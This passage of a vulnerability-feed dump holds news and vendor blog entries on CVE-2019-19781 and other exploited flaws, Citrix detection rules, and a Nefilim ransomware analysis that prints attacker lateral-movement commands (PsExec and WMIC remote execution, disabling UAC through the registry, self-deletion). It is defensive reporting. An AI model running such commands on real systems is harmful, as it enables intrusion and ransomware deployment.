"THREATPOST:8D6D4C10987CBF3434080EFF240D2E74", "href": "https://threatpost.com/cisa-top-bugs-old-enough-to-buy-beer/168247/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T15:51:14", "description": "Chinese state-sponsored cyberattackers are actively compromising U.S. targets using a raft of known security vulnerabilities \u2013 with a Pulse VPN flaw claiming the dubious title of \u201cmost-favored bug\u201d for these groups.\n\nThat\u2019s according to the National Security Agency (NSA), which released a \u201ctop 25\u201d list of the exploits that are used the most by China-linked advanced persistent threats (APT), which include the likes of [Cactus Pete](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>), [TA413,](<https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/>) [Vicious Panda](<https://threatpost.com/coronavirus-apt-attack-malware/153697/>) and [Winniti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>).\n\nThe Feds [warned in September](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) that Chinese threat actors had successfully compromised several government and private sector entities in recent months; the NSA is now driving the point home about the need to patch amid this flurry of heightened activity.[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany of these vulnerabilities can be used to gain initial access to victim networks by exploiting products that are directly accessible from the internet,\u201d warned the NSA, in its Tuesday [advisory](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2387347/nsa-warns-chinese-state-sponsored-malicious-cyber-actors-exploiting-25-cves/>). \u201cOnce a cyber-actor has established a presence on a network from one of these remote exploitation vulnerabilities, they can use other vulnerabilities to further exploit the network from the inside.\u201d\n\nAPTs \u2013 Chinese and otherwise \u2013 have ramped up their cyberespionage efforts in the wake of the pandemic as well as in the leadup to the U.S. elections next month. But Chlo\u00e9 Messdaghi, vice president of strategy at Point3 Security, noted that these vulnerabilities contribute to an ongoing swell of attacks.\n\n\u201cWe definitely saw an increase in this situation last year and it\u2019s ongoing,\u201d she said. \u201cThey\u2019re trying to collect intellectual property data. Chinese attackers could be nation-state, could be a company or group of companies, or just a group of threat actors or an individual trying to get proprietary information to utilize and build competitive companies\u2026in other words, to steal and use for their own gain.\u201d\n\n## **Pulse Secure, BlueKeep, Zerologon and More**\n\nPlenty of well-known and infamous bugs made the NSA\u2019s Top 25 cut. For instance, a notorious Pulse Secure VPN bug (CVE-2019-11510) is the first flaw on the list.\n\nIt\u2019s an [arbitrary file-reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers. In April of this year, the Department of Homeland Security\u2019s Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) attackers are actively using the issue to steal passwords to infiltrate corporate networks. And in fact, this is the bug at the heart of the [Travelex ransomware fiasco](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) that hit in January.\n\nPulse Secure issued a patch in April 2019, but many companies impacted by the flaw still haven\u2019t applied it, CISA warned.\n\nAnother biggie for foreign adversaries is a critical flaw in F5 BIG-IP 8 proxy/load balancer devices ([CVE-2020-5902](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>)). This remote code-execution (RCE) bug exists in the Traffic Management User Interface (TMUI) of the device that\u2019s used for configuration. It allows complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serving as a hop-point into other areas of the network.\n\nAt the end of June, F5 issued urgent patches the bug, which has a CVSS severity score of 10 out of 10 \u201cdue to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d researchers said at the time. Thousands of devices were shown to be vulnerable in a Shodan search in July.\n\nThe NSA also flagged several vulnerabilities in Citrix as being Chinese faves, including CVE-2019-19781, which was revealed last holiday season. The bug exists in the Citrix Application Delivery Controller (ADC) and Gateway, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web. An exploit can lead to RCE without credentials.\n\nWhen it was originally disclosed in December, the vulnerability did not have a patch, and Citrix had to [scramble to push fixes out](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \u2013 but not before public proof-of-concept (PoC) exploit code emerged, along with active exploitations and mass scanning activity for the vulnerable Citrix products.\n\nOther Citrix bugs in the list include CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196.\n\nMeanwhile, Microsoft bugs are well-represented, including the [BlueKeep RCE bug](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) in Remote Desktop Services (RDP), which is still under active attack a year after disclosure. The bug tracked as CVE-2019-0708 can be exploited by an unauthenticated attacker connecting to the target system using RDP, to send specially crafted requests and execute code. The issue with BlueKeep is that researchers believe it to be wormable, which could lead to a WannaCry-level disaster, they have said.\n\nAnother bug-with-a-name on the list is [Zerologon](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>), the privilege-escalation vulnerability that allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services. It was patched in August, but many organizations remain vulnerable, and the DHS recently [issued a dire warning](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) on the bug amid a tsunami of attacks.\n\nThe very first bug ever reported to Microsoft by the NSA, CVE-2020-0601, is also being favored by Chinese actors. This spoofing vulnerability, [patched in January,](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.\n\nTwo proof-of-concept (PoC) exploits were publicly released just a week after Microsoft\u2019s January Patch Tuesday security bulletin addressed the flaw.\n\nThen there\u2019s a high-profile Microsoft Exchange validation key RCE bug ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)), which stems from the server failing to properly create unique keys at install time.\n\nIt was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed APT actors. But as of Sept. 30, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers [were still vulnerable](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) to the flaw.\n\n## **The Best of the Rest**\n\nThe NSA\u2019s Top 25 list covers plenty of ground, including a [nearly ubiquitous RCE bug](<https://threatpost.com/critical-microsoft-rce-bugs-windows/145572/>) (CVE-2019-1040) that, when disclosed last year, affected all versions of Windows. It allows a man-in-the-middle attacker to bypass the NTLM Message Integrity Check protection.\n\nHere\u2019s a list of the other flaws:\n\n * CVE-2018-4939 in certain Adobe ColdFusion versions.\n * CVE-2020-2555 in the Oracle Coherence product in Oracle Fusion Middleware.\n * CVE-2019-3396 in the Widget Connector macro in Atlassian Confluence Server\n * CVE-2019-11580 in Atlassian Crowd or Crowd Data Center\n * CVE-2020-10189 in Zoho ManageEngine Desktop Central\n * CVE-2019-18935 in Progress Telerik UI for ASP.NET AJAX.\n * CVE-2019-0803 in Windows, a privilege-escalation issue in the Win32k component\n * CVE-2020-3118 in the Cisco Discovery Protocol implementation for Cisco IOS XR Software\n * CVE-2020-8515 in DrayTek Vigor devices\n\nThe advisory also covers three older bugs: One in Exim mail transfer (CVE-2018-6789); one in Symantec Messaging Gateway (CVE-2017-6327); and one in the WLS Security component in Oracle WebLogic Server (CVE-2015-4852).\n\n\u201cWe hear loud and clear that it can be hard to prioritize patching and mitigation efforts,\u201d NSA Cybersecurity Director Anne Neuberger said in a media statement. \u201cWe hope that by highlighting the vulnerabilities that China is actively using to compromise systems, cybersecurity professionals will gain actionable information to prioritize efforts and secure their systems.\u201d\n", "cvss3": {}, "published": "2020-10-21T20:31:17", "type": "threatpost", "title": "Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-21T20:31:17", "id": "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "href": "https://threatpost.com/bug-nsa-china-backed-cyberattacks/160421/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "canvas": [{"lastseen": "2021-07-28T14:33:27", "description": "**Name**| netscaler_traversal_rce \n---|--- \n**CVE**| CVE-2019-19781 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| netscaler_traversal_rce \n**Notes**| CVE Name: CVE-2019-19781 \nVENDOR: Citrix \nNOTES: This version of the module will take care of all our artifacts and will \nreport them just to be safe in case something went wrong during cleanup \n \nVersionsAffected: VERSIONS \nRepeatability: Infinite \nReferences: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ \nCVE Url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781 \nDate public: 12/17/2019 \nCVSS: N/A \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-27T14:15:00", "type": "canvas", "title": "Immunity Canvas: NETSCALER_TRAVERSAL_RCE", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2019-12-27T14:15:00", "id": "NETSCALER_TRAVERSAL_RCE", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/netscaler_traversal_rce", "sourceData": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "qualysblog": [{"lastseen": "2020-01-20T12:15:15", "description": "**Update January 17, 2020**: A new detection in Qualys Web Application Scanning was added. See \"Detecting with Qualys WAS\" below.\n\nCitrix released a [security advisory](<https://support.citrix.com/article/CTX267027>) ([CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>)) for a remote code execution vulnerability in Citrix Application Delivery Controller (ADC) and Citrix Gateway products. The vulnerability allows an unauthenticated remote attacker to execute arbitrary code on the system. Once exploited, remote attackers could obtain access to private network resources without requiring authentication.\n\nDuring the week of January 13, [attacks on Citrix appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) have [intensified](<https://www.zdnet.com/article/a-hacker-is-patching-citrix-servers-to-maintain-exclusive-access/>). Because of the active attacks and the ease of exploitation, organizations are advised to pay close attention.\n\n### About CVE-2019-19781\n\nThe vulnerability affects all supported versions of Citrix ADC and Citrix Gateway products. As Citrix did not disclose many details about the vulnerability, the [mitigation steps](<https://support.citrix.com/article/CTX267679>) suggest the VPN handler fails to sufficiently sanitize user-supplied inputs. The exploit attempt would include HTTP requests with \u2018/../\u2019 and \u2018/vpns/\u2019 in the URL. The responder policy rule checks for string \u201c/vpns/\" and if user is connected to the SSLVPN, and sends a 403 response as seen below.\n\n_add responder policy ctx267027 \"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\\\"/vpns/\\\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\\\"/../\\\"))\" respondwith403 _\n\n### Detecting with Qualys VM\n\nQualys has issued QID 372305 for [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/>) that includes authenticated and remote detections of vulnerabilities present in affected Citrix products. This QID is included in signature version VULNSIGS-2.4.788-2.\n\n_QID 372305 : Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability (CTX267027)_\n\nThe QID contains a remote and an authenticated signature to check the presence of vulnerability in Citrix Products. \nYou can search for this new QID in AssetView or within the VM Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.qid:372305_ \n_vulnerabilities.vulnerability.cveId:`CVE-2019-19781`_\n\nThis will return a list of all impacted hosts.\n\nYou can also create a Dashboard to track all Citrix vulnerabilities as shown in the template below:\n\n\n\n \n\n### Detecting with Qualys Threat Protection\n\nThe fastest way to locate vulnerable hosts is though the [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) Live Feed as seen here:\n\n\n\nSimply click on the Impacted Assets number to see a list of hosts with this vulnerability.\n\n### Detecting with Qualys WAS\n\nQualys has released QID 150273 in [Qualys Web Application Scanning](<https://www.qualys.com/apps/web-app-scanning/>) (WAS) that includes a passive detection of vulnerabilities present in the affected Citrix products.\n\n_QID 150273 : Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability (CTX267027)_\n\nThis detection is useful for customers using Qualys WAS in their environments, and it has the advantage of detecting both at the root level of the target being scanned **and** at the starting URL of the web application as specified in the WAS configuration.\n\nThe passive detection works by sending an HTTPS request and looking for evidence of the vulnerability in the response. If the scanned application is vulnerable, the QID will be reported in your Qualys WAS scan report.\n\n### Mitigation\n\nCustomers are recommended to apply Citrix\u2019s [Mitigation Steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>) as soon as possible.\n\nCustomers can check their systems for exploit attempts using \u201cgrep\u201d for requests that contain \u201cvpns\u201d and \u201c..\u201d.\n\nA patch is expected from Citrix by the end of January 2020, and organizations are advised to install that patch as soon as it is available.", "cvss3": {}, "published": "2020-01-09T00:12:26", "type": "qualysblog", "title": "Citrix ADC and Gateway Remote Code Execution Vulnerability (CVE-2019-19781)", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-09T00:12:26", "id": "QUALYSBLOG:82E24C28622F0C96140EDD88C6BD8F54", "href": "https://blog.qualys.com/laws-of-vulnerabilities/2020/01/08/citrix-adc-and-gateway-remote-code-execution-vulnerability-cve-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-06-14T06:32:34", "description": "Over the past year there has been a rise in extortion malware that focuses on stealing sensitive data and threatening to publish the data unless a ransom is paid. This technique bypasses some of the mitigations put in place, such as backups, which would allow IT organizations to recover data without having to pay such a ransom. One of the more popular ransomware families over the last few months to switch to this extortion tactic was Nefilim.\n\n### About Nefilim Ransomware\n\nNefilim ransomware emerged in March 2020 when Nemty operators quit the ransomware as a service model to concentrate their energy on more targeted attacks with more focused resources. The author of the Nemty ransomware also appears to have shared Nemty's source code with others. According to [Vitali Kremez and ID Ransomware's Michael Gillespie](<https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/>), the new Nefilim ransomware appears to be based on Nemty's code. Sharing many notable similarities with Nemty version 2.5, Nefilim has the capabilities to move laterally within networks.\n\nNefilim targets vulnerabilities such as [CVE-2019-11634](<https://threatpost.com/nefilim-ransomware-ghost-account/163341/>) and [CVE-2019-19781](<https://cyware.com/news/nefilim-gang-leveraged-citrix-gateway-exploit-6da5fa37>) in Citrix gateway devices, identified in December 2019 and patched in January 2020. The hackers target organizations using the unpatched or poorly secured Citrix remote-access technology, stealing data and then deploying ransomware.\n\nNefilim attackers exfiltrate sensitive data before encryption. When ransoms are not paid, they have been known to shame victims by posting their data on the dark web.\n\n### Technical Details\n\n#### Initial access\n\nNefilim ransomware is distributed through exposed Remote Desktop Protocol (RDP) setups by brute-forcing them and using other known vulnerabilities for initial access, i.e. vulnerabilities in Citrix gateway devices. Nefilim places a heavy emphasis on Remote Desktop Protocols.\n\nOnce an attacker gains a foothold on the victim system, the attacker drops and executes its components such as anti-antivirus, exfiltration tools, and finally Nefilim itself.\n\n#### Lateral Movement\n\nAmong the various tactics and techniques used by the attackers, they rely on tools such as PsExec to remotely execute commands in their victims\u2019 networks. It has been also seen that Nefilim uses other tools to gather credentials that include Mimikatz, LaZagne, and NirSoft\u2019s NetPass. It uses bat files to stop services/kill processes as shown in below image, and the stolen credentials are used to reach high-value machines like servers. The hackers work to move around the network before deploying their ransomware to find out where juicier data may be stored. They exfiltrate sensitive data before encryption.\n\nSome of the commands that execute by the attacker\n \n \n Start copy kill.bat \\destinationip\\c$\\windows\\temp\n \n \n Start psexec.exe \\destinationip -u domain\\username\\ -p password -d -h -r mstdc -s -accepteula -nobanner c:\\windows\\teamp\\Kill.bat\n \n \n Start psexec.exe -accepteula \\destinationip -u domain\\username\\ -p password reg add HKLM\\software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /F\n \n \n WMIC /node: \\destinationip /username:\u201ddomain\\username\u201d /password:\u201dpassword\u201d process CALL CREATE \u201ccmd.exe /c copy \\sourceip\\c$\\windows\\temp C:\\WINDOWS\\TEMP\\kill.bat\"\n \n \n WMIC /node: \\destinationip /username:\u201ddomain\\username\u201d /password:\u201dpassword\u201d process CALL CREATE \u201ccmd.exe /c C:\\WINDOWS\\TEMP\\kill.bat\"\n\nBelow images shows A batch file to stop services/kill processes\n\nFig. 1 Stopping Services Fig. 2 Killing Process\n\n#### Data exfiltration\n\nIt copies data from servers/shared directories to the local directory and compresses with dropped 7zip binary. It also drops and installs MegaSync to exfiltrate data.\n\n#### Ransomware Execution\n\nThe Nefilim malware uses AES-128 encryption to lock files and their blackmail payments are made via email. After encryption, it dropped the ransomware note by named \u2018NEFILIM-DECRYPT.txt\u2019. All files are encrypted with the extension of (.NEFILIM). It appends AES encrypted key at end of the encrypted file. This AES encryption key will then be encrypted by an RSA-2048 public key that is embedded in the ransomware executable. In addition to the encrypted AES key, the ransomware will also add the "NEFILIM" string as a file marker to all encrypted files.\n\nFig. 3 Crypto API\u2019s in Nefilim IOC\n\nIn the Below image malware create Mutex\n\nFig. 4 Creating Mutex\n\nSome of the Anti-debugging techniques: Ransomware uses anti-debugging method by calling the IsDebuggerPresent function. This function detects if the calling process is being debugged by a user-mode debugger. It also makes use of API GetTickCount / QueryPerformanceCounter to get the number of ticks since the last system reboot. It checks for a timestamp and compare it to another one after a few malicious instructions, in order to check if there was a delay.\n\nFig. 5 Anti debugging API Fig. 6 Anti debugging API\n\nShell execute: Nefilim delete itself from the target systems after infection with the help of ShellExecute API\n \n \n \"C:\\Windows\\System32\\cmd.exe\" /c timeout /t 3 /nobreak && del \"C:\\Users\\admin\\Download{ransomware_filename}.exe\" /s /f /q\n\nFig. 7 Self Deletion\n\n### High-Profile Attacks Taking a Toll\n\nNefilim's highest-profile ransomware attack to date was against the Australian shipping organization, [Toll Group](<https://www.tollgroup.com/toll-it-systems-updates>). The attack was first published on May 5, 2020. Two months previously, Toll Group was a victim of a Netwalker ransomware attack. In both cases, Toll Group refused to pay the ransom. In response, Nefilim leaked sensitive Toll Group data and [popularized](<https://www.bankinfosecurity.com/blogs/toll-group-data-leaked-following-second-ransomware-incident-p-2902>) that Toll Group had failed to employ full cybersecurity protocols even after the Netwalker attack, potentially making the organization vulnerable to more attacks. This demonstrates how Nefilim will keep the pressure on its victims to pay ransoms.\n\n### Mitigation or Additional Important Safety Measures\n\n#### Network\n\n * Keep strong and unique passwords for login accounts.\n * Disable RDP if not used. If required change RDP port to a non-standard port.\n * Configure firewall in following way,\n * Deny access to Public IPs to important ports (in this case RDP port 3389)\n * Allow access to only IP\u2019s which are under your control.\n * Use VPN to access the network, instead of exposing RDP to the Internet. Possibility implement Two Factor Authentication (2FA).\n * Set lockout policy which hinders credentials guessing.\n * Create a separate network folder for each user when managing access to shared network folders.\n\n#### Take regular data backup\n\n * Protect systems from ransomware by periodically backing up important files regularly and keep a recent backup copy offline. Encrypt your backup.\n * If your computer gets infected with ransomware, your files can be restored from the offline backup once the malware has been removed.\n * Always use a combination of online and offline backup.\n * Do not keep offline backups connected to your system as this data could be encrypted when ransomware strike.\n\n#### Keep software updated\n\n * Always keep your security software (antivirus, firewall, etc.) up to date to protect your computer from new variants of malware.\n * Regularly patch and update applications, software, and operating systems to address any exploitable software vulnerabilities.\n * Do not download cracked/pirated software as they risk backdoor entry for malware into your computer.\n * Avoid downloading software from untrusted P2P or torrent sites. In most cases, they are malicious software.\n\n#### Having minimum required privileges\n\n * Don\u2019t assign Administrator privileges to users. Most importantly, do not stay logged in as an administrator unless it is strictly necessary. Also, avoid browsing, opening documents, or other regular work activities while logged in as an administrator.\n\n### Monitor for Lateral Movement\n\n * To spot these attacks, keep an eye out not only for attack code but also monitor for any evidence of lateral movement and data exfiltration within the environment. To determine if an organization has been hit by Nefilim, check remote-access systems for any signs of unauthorized access. To identify potential data exfiltration, additionally identify unusual host outbound traffic patterns.\n\n### Nefilim TTP Map\n\nInitial Access| Execution| Defense Evasion| Credential Access| Discovery| Lateral Movement| Exfiltration| Impact \n---|---|---|---|---|---|---|--- \nExploit Public-Facing Application (T1190)| Native API (T1106)| File Deletion (T1070.004)| OS Credential Dumping (T1003)| Software Discovery: Security Software Discovery (T1518.001)| Lateral Tool Transfer (T1570)| Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002)| Data Encrypted for impact (T1486) \n| | Impair Defenses: Disable or Modify Tools (T1562:001)| | Remote System Discovery (T1018)| | | Inhibit system Recovery (T1490) \n| | | | System Information Discovery (T1082)| | | \n| | | | File and Directory Discovery (T1083)| | | \n \n### Indicators of Compromise (IOCs)\n\n**SHA256**\n \n \n 8be1c54a1a4d07c84b7454e789a26f04a30ca09933b41475423167e232abea2b \n b8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e \n 3080b45bab3f804a297ec6d8f407ae762782fa092164f8ed4e106b1ee7e24953 \n 7de8ca88e240fb905fc2e8fd5db6c5af82d8e21556f0ae36d055f623128c3377 \n b227fa0485e34511627a8a4a7d3f1abb6231517be62d022916273b7a51b80a17 \n 3bac058dbea51f52ce154fed0325fd835f35c1cd521462ce048b41c9b099e1e5 \n 353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd5 \n 5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6 \n 52e25bdd600695cfed0d4ee3aca4f121bfebf0de889593e6ba06282845cf39ea \n 35a0bced28fd345f3ebfb37b6f9a20cc3ab36ab168e079498f3adb25b41e156f \n 7a73032ece59af3316c4a64490344ee111e4cb06aaf00b4a96c10adfdd655599 \n 08c7dfde13ade4b13350ae290616d7c2f4a87cbeac9a3886e90a175ee40fb641 \n D4492a9eb36f87a9b3156b59052ebaf10e264d5d1ce4c015a6b0d205614e58e3 \n B8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e \n fcc2921020690a58c60eba35df885e575669e9803212f7791d7e1956f9bf8020\n\n### References\n\n * <https://www.zdnet.com/article/nemty-ransomware-operation-shuts-down/>\n * <https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/>\n * <https://www.bleepingcomputer.com/news/security/nemty-ransomware-punishes-victims-by-posting-their-stolen-data/>\n * <https://www.trendmicro.com/vinfo/au/security/news/cybercrime-and-digital-threats/updated-analysis-on-nefilim-ransomware-s-behavior>\n * <https://www.bankinfosecurity.com/blogs/toll-group-data-leaked-following-second-ransomware-incident-p-2902>\n * <https://www.tollgroup.com/toll-it-systems-updates>\n * <https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks>", "cvss3": {}, "published": "2021-05-12T15:34:00", "type": "qualysblog", "title": "Nefilim Ransomware", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-11634", "CVE-2019-19781"], "modified": "2021-05-12T15:34:00", "id": "QUALYSBLOG:AF3D80BA12D4BBA1EE3BE23A5E730B6C", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-04T01:27:17", "description": "**_CISA has created Shields Up as a response to the Russian invasion of Ukraine. Qualys is responding with additional security, monitoring and governance measures. This blog details how and what our enterprise customers can do to immediately strengthen their security posture and meet CISA\u2019s recommendations._**\n\nWith the invasion of Ukraine by Russia, the U.S. Cybersecurity & Infrastructure Security Agency (CISA) has created a [program titled Shields Up](<https://www.cisa.gov/shields-up>) and provided specific guidance to all organizations. The Russian government has used cyber operations as a key component of force projection in the past and has targeted critical infrastructure to destabilize a governments\u2019 response capabilities. Critical infrastructure can include supply chain (including software supply chain), power, utilities, communications, transportation, and government and military organizations.\n\n### Protecting Customer Data on Qualys Cloud Platform****\n\nQualys is strongly committed to the security of our customers and their data. In addition to proactive risk mitigation with continuous patch and configuration management, we continually monitor all our environments for any indication of active threats, exploits and compromises. We hold our platforms to the highest security and compliance mandates like [FedRAMP](<https://blog.qualys.com/product-tech/2022/02/24/meet-fedramp-compliance-with-qualys-cloud-platform>). However, given the heightened risk environment around the globe, the Qualys Security and Engineering teams have been at a heightened state of vigilance in recent weeks. We continuously monitor our internal systems in this amplified threat environment. We are working with our security partners to access the latest threat intel. We have implemented additional security, monitoring, and governance measures involving our senior leadership and are committed to ensuring that the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>) remains available and secure to support the enterprises we serve worldwide.\n\n### Urgent: Assess and Heighten Your Security Posture\n\nBased on high-level guidelines provided by CISA, Qualys is recommending all organizations to establish the following actionable steps to adopt heightened cybersecurity posture to protect critical assets.\n\nThere are 4 steps necessary to strengthen security posture per CISA\u2019s Shields Up guidance: \n\n\n * Step 1: Know Your Shodan/Internet Exposed Assets Automatically\n * Step 2: Detect, Prioritize, and Remediate CISA's Catalog of Known Exploited Vulnerabilities\n * Step 3: Protect Your Cloud Services and Office 365 Environment\n * Step 4: Continuously Detect a Potential Intrusion\n\n* * *\n\n****Implement CISA\u2019s Shields Up Guidance****\n\n[Try it Now](<https://www.qualys.com/forms/cisa-shields-up-service/>)\n\n* * *\n\n### Step 1: Monitor Your Shodan/Internet Exposed Assets \n\n\n#### Discover and protect your external facing assets \n\n\nAn organization\u2019s internet-facing systems represent much of their potential attack surface. Cyber threat actors are continuously scanning the internet for vulnerable systems to target attacks and campaigns. Often hackers find this information readily available on the dark web or in plain sight on internet search engines such as Shodan.io.\n\nInventory all your assets and monitor your external attack surface. [Qualys CyberSecurity Asset Management (CSAM)](<https://www.qualys.com/apps/cybersecurity-asset-management/>) provides comprehensive visibility of your external-facing IT infrastructure by natively correlating asset telemetry collected by Qualys sensors (e.g. Internet Scanners, Cloud Agents, Network Passive Sensors) and key built-in integrations such as [Shodan.io](<https://blog.qualys.com/vulnerabilities-threat-research/2021/12/20/qualys-integrates-with-shodan-to-help-map-the-external-attack-surface>) and Public Cloud Providers.\n\nOne of the biggest risks is unknown unknowns. These gaps in visibility happen for many reasons \u2013 including shadow IT, forgotten websites, legacy services, mergers & acquisitions (M&A), or simply because a development team exposes an application or database without informing their security team.\n\nCSAM enables you to continuously discover these blind spots and assess their security and compliance posture.\n\n\n\n#### Monitor Industrial Control Systems and Operational Technology\n\nNetwork segmentation traditionally kept Industrial Control Systems air-gapped. However, the acceleration of digital transformation has enabled more of these systems to connect with corporate as well as external networks, such as device vendors and Industrial IoT platforms. Further, the majority of Operational Technology utilizes legacy, non-secure protocols.\n\nBuild full visibility of your critical infrastructure, network communications, and vulnerabilities with Qualys Industrial Control Security (ICS).\n\n\n\n#### Detect and disable all non-essential ports and protocols, especially on internet exposed assets\n\nInventory your internal and external-facing assets, report open ports, and detected services on each port. Qualys CSAM supports extensive query language that enables teams to report and act on detected external facing assets that have a remote-control service running (for example Windows Remote Desktop). \n\n\n\n#### Ensure all systems are protected with up-to-date antivirus/anti-malware software****\n\nFlag assets within your inventory that are missing antivirus, or with signatures that are not up to date. CSAM allows you to define Software Rules and assign required software on a specific scope of assets or environment. For example, all database servers should have antivirus and a data loss prevention agent.\n\n\n\nVerify that your antivirus/anti-malware engine is up to date with the latest signatures.\n\n\n\nFor devices missing antivirus or anti-malware, [Qualys Multi-Vector EDR](<https://www.qualys.com/apps/endpoint-detection-response/>) with Integrated Anti-Malware can be easily enabled wherever the Qualys Cloud Agent is installed to provide immediate threat protection. In addition to basic anti-malware protection, Multi-Vector EDR will monitor endpoint activity to identify suspicious and malicious activity that usually bypasses traditional antivirus such as Living-off-the-Land attacks as well as MITRE ATT&CK tactics and techniques.\n\n### Step 2: Detect, Prioritize and Remediate CISA's Catalog of Known Exploited Vulnerabilities\n\nQualys Researcher analyzed all the 300+ CVEs from CISA known exploited vulnerabilities and mapped them to the Qualys QIDs. Many of these CVEs have patches available for the past several years. A new \u201cCISA Exploited\u201d RTI was added to VMDR to 